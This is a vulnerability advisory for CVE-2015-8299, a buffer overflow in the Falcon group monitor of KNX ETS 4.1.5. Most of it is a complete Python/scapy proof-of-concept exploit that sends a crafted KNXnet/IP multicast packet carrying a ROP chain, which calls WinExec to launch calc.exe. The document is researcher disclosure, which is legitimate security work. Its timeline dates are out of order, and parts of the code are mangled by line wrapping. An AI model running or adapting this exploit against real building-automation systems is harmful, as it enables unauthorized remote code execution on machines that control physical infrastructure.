#### Title: Remote code execution vulnerability in the KNX management software ETS
#### Category/Abstract: Buffer overflow vulnerability
#### Product: ETS (Engineering Tool Software)
#### Affected versions: * ETS 4.1.5 (Build 3246)
*no other versions tested* #### Fixed in version: *unknown* #### Vendor: KNX Association
#### Impact: Critical
#### CVE number: CVE-2015-8299
#### Timeline * `2013-10-11` identification of vulnerability
* `2013-10-??` 1st vendor contact, no-reply of vendor on issue
* `2013-07-30` 2nd vendor contact, no-reply of vendor on issue
* `2013-10-06` 3rd vendor contact, no-reply of vendor on issue
* `2015-07-14` contact cve-request@mitre.
#### Credits: Aljosha Judmayer `ajudmayer@sba-research.org` (SBA Research)
#### References: * Information on ETS: http://www.knx.org/de/knx-tools/ets4/einfuehrung/
* KNX Association: http://www.knx.org/
#### Description: The vulnerability is caused by a buffer overflow in a memcpy
operation when parsing specailly crafted KNXnet/IP packets in the
Group messages monitor (aka. Falcon). An according proof-of-concept
exploit which was tested on an affected ETS version installed on a
Windows XP SP3 can be found below. The proof-of-concept exploit
generates the UDP packet which triggers the vulnerability and should
at least crash the application (it requires python and scapy to run).
#### Proof-of-concept: Since this is just a PoC the ROP chain was not carefully selected and
might require adaptation to reproduce the desired results on your system.
knAx.py:
``` #!/usr/bin/env python """ ETS4 buffer overflow exploit PoC
This is a Proof-of-Concept (PoC) remote exploit of a ETS4 which is
currently running the monitoring software for group messages aka.
"Groupenmonitor". This feature of the ETS4 runs an executable called
"Falcon.exe" which is vulnerable to a buffer overflow.
The vulnerable function gets called at:
0043C994 call overflow_43C743
This function, which is responsible for the overflow, is located at 0x43c743.
The "memcpy" which produces the overflow gets called at:
0043C931 call memcpy
Vulnerable version:
ETS 4.1.5 (Build 3246)
Stammdaten: Version 57, Schema 1.1
registry key: "NET Framework Setup"
v2.0.50727 -version 2.2.30729
v4 -version 4.0.30319
ETS4.exe
LegalCopyright: Copyright \xa9 2010-2012 KNX Association cvba, Brussels, Belgium
Assembly Version: 4.1.3246.36180
InternalName: ETS4.exe
FileVersion: 4.1.3246.36180
CompanyName: KNX Association cvba
Comments: ETS4 Application
ProductName: ETS4
ProductVersion: 4.1.3246.36180
FileDescription: ETS4
OriginalFilename: ETS4.exe
Falcon.exe
LegalCopyright: Copyright (C) 2000-2008 KNX Association, Brussels, Belgium
InternalName: Falcon
FileVersion: 2.0.5184.4346
CompanyName: KNX Association
SpecialBuild: 2011.01.16
LegalTrademarks: KNX Association
OLESelfRegister:
ProductVersion: 2.0
FileDescription: Falcon
OriginalFilename: Falcon.ex
Tested on:
Windows XP SP3 32bit
This exploit uses return-oriented-programming techniques. The gadgets used for ROP are:
ole32.dll:"0x774fdb5b","33c0c3","0x774fdb5b: xor eax, eax | 0x774fdb5d: ret | "
ole32.dll:"0x77550f6f","83c064c3","0x77550f6f: add eax, 64h | 0x77550f72: ret | "
ole32.dll:"0x774ff447","03c4c24e77","0x774ff447: add eax, esp | 0x774ff449: ret 774eh | "
user32.dll:"0x7e467666","94c3","0x7e467666: xchg esp, eax | 0x7e467667: ret | "
The exploit requires root privelages to send the crafted packet and
the scapy python module!
PoC and vuln. discovery
by aljosha judmayer
"""
from struct import pack,unpack
from scapy.all import * # --- variables --- ip_dest = "224.0.23.12"
udp_dport = 3671
udp_sport = 3671
sys_iface = "vboxnet0" # <= CHANGE ME! to external network interface
# --- knxhdr="\x06\x10\x05\x30\x01\xb2"
knxmsg="\xac\x01\x81\xa9\xe3\xac\xcb\x44\xff\xa2\x67\xcd\x03\x6f\x05\xe4\x58\x19\xae\x65\x1b\x14\x38\x4d\x83\x60\x06"
padding="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
def test():
""" this should terminate the Falcon.exe process """
exit="\xfa\xca\x81\x7c" # ExitProcess 0x7c81cafa, or 0xffffffff for seg fault
sendpayload(knxhdr + knxmsg + padding + exit) return
def exploit():
"""
This constructs a ROP payload and sends it.
Because of stack manipulation after the overflow we need to jump
over some bytes. Therefore the esp is increased.
"""
eip = pack("<L",0x774fdb5b) # xor eax,eax ;zero out register eip +=
pack("<L",0x77550f6f) # add eax,64h ;add jump distance eip +=
pack("<L",0x774ff447) # add eax,esp ;add the current position of esp eip
+= pack("<L",0x7e467666) # xchg esp,eax ;load the new esp address # ---
padding ret-sled as NOP-sled eip += pack("<L",0x77550f72)*28 # ret ;use
ret as nop # --- str chunk 1 eip += pack("<L",0x7752f82a) # pop ecx
;load string eip += "calc" # "calc" ;string eip += pack("<L",0x774faf34)
# pop eax ;load dst. address eip += pack("<L",0x7ffdf8f4) # f4f8fd7f
;dst address eip += pack("<L",0x77593502) # mov [eax], ecx ;copy ecx to
[eax] # --- str chunk 2 eip += pack("<L",0x7752f82a) # pop ecx ;load
string eip += ".exe" # ".exe" ;string eip += pack("<L",0x774faf34) # pop
eax ;load dst. address eip += pack("<L",0x7ffdf8f4+4) # f4f8fd7f +4 ;dst
address + 4 eip += pack("<L",0x77593502) # mov [eax], ecx ;copy str. to
dst. # --- call WinExec() eip += pack("<L",0x7c8623ad) # address of
WinExec() eip += pack("<L",0x7c81cafa) # ret after WinExec(), into
ExitProcess 0x7c81cafa eip += pack("<L",0x7ffdf8f4) # address of string
#DEBUG #ostr = "\\x".join("{:02x}".format(ord(c)) for c in eip) #print
"\\x%s" %ostr sendpayload(knxhdr + knxmsg + padding + eip) return
def sendpayload(payload):
""" send scapy udp payload """
pkt=Ether(dst="01:00:5e:00:17:0c")/IP(dst=ip_dest)/UDP(dport=udp_dport,sport=udp_sport)/payload
#pkt.show2() #DEBUG
hexdump(pkt)
sendp(pkt, iface=sys_iface) return
def sendpkt(pkt):
""" send scapy pkt on layer 2, no auto stuff """
#pkt.show2() #DEBUG
hexdump(pkt)
sendp(pkt, iface=sys_iface) return
def main():
exploit()
return 0
if __name__ == "__main__":
sys.exit(main())
```